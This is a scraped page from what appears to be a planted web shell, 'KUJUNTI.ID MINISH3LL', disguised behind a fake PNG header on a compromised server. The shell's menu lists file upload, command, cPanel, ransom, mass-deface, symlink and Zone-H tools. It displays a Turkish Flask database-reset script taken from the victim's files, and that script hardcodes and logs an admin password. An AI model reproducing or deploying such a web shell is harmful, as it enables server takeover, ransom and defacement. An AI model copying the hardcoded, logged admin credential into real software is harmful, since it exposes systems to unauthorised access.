\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv7/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv7/resetdb.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
yedekleDB24 için veritabanı şemasını sıfırlama ve yeniden oluşturma scripti.
Bu script, mevcut veritabanı şemasını tamamen kaldırıp yeniden oluşturur.
DİKKAT: Tüm veriler silinecektir!
"""

import os
import sys
import logging
from dotenv import load_dotenv

# Logging ayarları
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)

# Uygulama ortamını yükle
load_dotenv()

def confirm_reset():
    """Kullanıcıdan onay ister."""
    print("⚠️  UYARI: Bu işlem veritabanındaki TÜM VERİLERİ SİLECEKTİR! ⚠️")
    print("Mevcut veritabanı şeması silinip yeniden oluşturulacak.")
    print("Bu işlem geri alınamaz.")
    confirmation = input("Devam etmek istiyor musunuz? (evet/hayır): ")
    return confirmation.lower() in ['evet', 'e', 'yes', 'y']

def reset_database():
    """Veritabanını sıfırlar ve yeniden oluşturur."""
    try:
        # Uygulama modüllerini içe aktar (burada çağrılması gerekiyor çünkü app.py'nin çalışması gerekiyor)
        logger.info("Uygulama modülleri içe aktarılıyor...")
        
        # Ana proje dizinine geçiş yapmak için
        from pathlib import Path
        project_dir = str(Path(__file__).parent.absolute())
        sys.path.append(project_dir)
        
        # Flask uygulamasını ve modelleri içe aktar
        from app import app, db
        import models  # Tüm modellerin tanımlanması için gerekli
        
        with app.app_context():
            # Mevcut veritabanını sıfırla
            logger.info("Veritabanı tabloları siliniyor...")
            db.drop_all()
            logger.info("Veritabanı tabloları silindi.")
            
            # Yeni şemayı oluştur
            logger.info("Yeni veritabanı şeması oluşturuluyor...")
            db.create_all()
            logger.info("Yeni veritabanı şeması oluşturuldu.")
            
            # Admin kullanıcısı oluştur
            logger.info("Admin kullanıcısı oluşturuluyor...")
            from models import User
            from werkzeug.security import generate_password_hash
            
            admin_user = User(
                username="admin",
                email="admin@example.com",
                password_hash=generate_password_hash("Ainahv5aVaw2EeP"),  # Varsayılan şifre
                is_admin=True
            )
            
            db.session.add(admin_user)
            db.session.commit()
            logger.info("Admin kullanıcısı oluşturuldu.")
            
            # Default SMTP ayarları ekle - model yapısını görüntüleyelim
            logger.info("SmtpSettings model yapısını kontrolü...")
            from models import SmtpSettings
            
            # Model sınıfının mevcut alanlarını kontrol et
            smtp_keys = [c.name for c in SmtpSettings.__table__.columns]
            logger.info(f"SmtpSettings modeli alanları: {smtp_keys}")
            
            # Güvenli şekilde varsayılan SMTP ayarlarını oluştur
            smtp_data = {
                "mail_server": "smtp.example.com",
                "mail_port": 587,
                "mail_use_tls": True,
                "mail_use_ssl": False,
                "mail_username": "user@example.com",
                "mail_password": "password",
                "mail_default_sender": "noreply@example.com",
                "notification_emails": "admin@example.com" 
            }
            
            # Sadece modelde var olan alanları kullan
            smtp_filtered_data = {k: v for k, v in smtp_data.items() if k in smtp_keys}
            smtp_settings = SmtpSettings(**smtp_filtered_data)
            
            db.session.add(smtp_settings)
            db.session.commit()
            logger.info("Varsayılan SMTP ayarları oluşturuldu.")
            
            logger.info("Veritabanı başarıyla sıfırlandı ve yeniden oluşturuldu.")
            
    except Exception as e:
        logger.error(f"Veritabanı sıfırlama işlemi sırasında hata oluştu: {str(e)}")
        import traceback
        logger.error(traceback.format_exc())
        return False
    
    return True

def main():
    """Ana fonksiyon"""
    logger.info("Veritabanı sıfırlama scripti başlatılıyor...")
    
    if not confirm_reset():
        logger.info("İşlem kullanıcı tarafından iptal edildi.")
        return
    
    if reset_database():
        logger.info("Veritabanı başarıyla sıfırlandı ve yeniden yapılandırıldı.")
        logger.info("Admin kullanıcısı: admin / Ainahv5aVaw2EeP")
    else:
        logger.error("Veritabanı sıfırlanamadı!")
        sys.exit(1)

if __name__ == "__main__":
    main()

© KUJUNTI.ID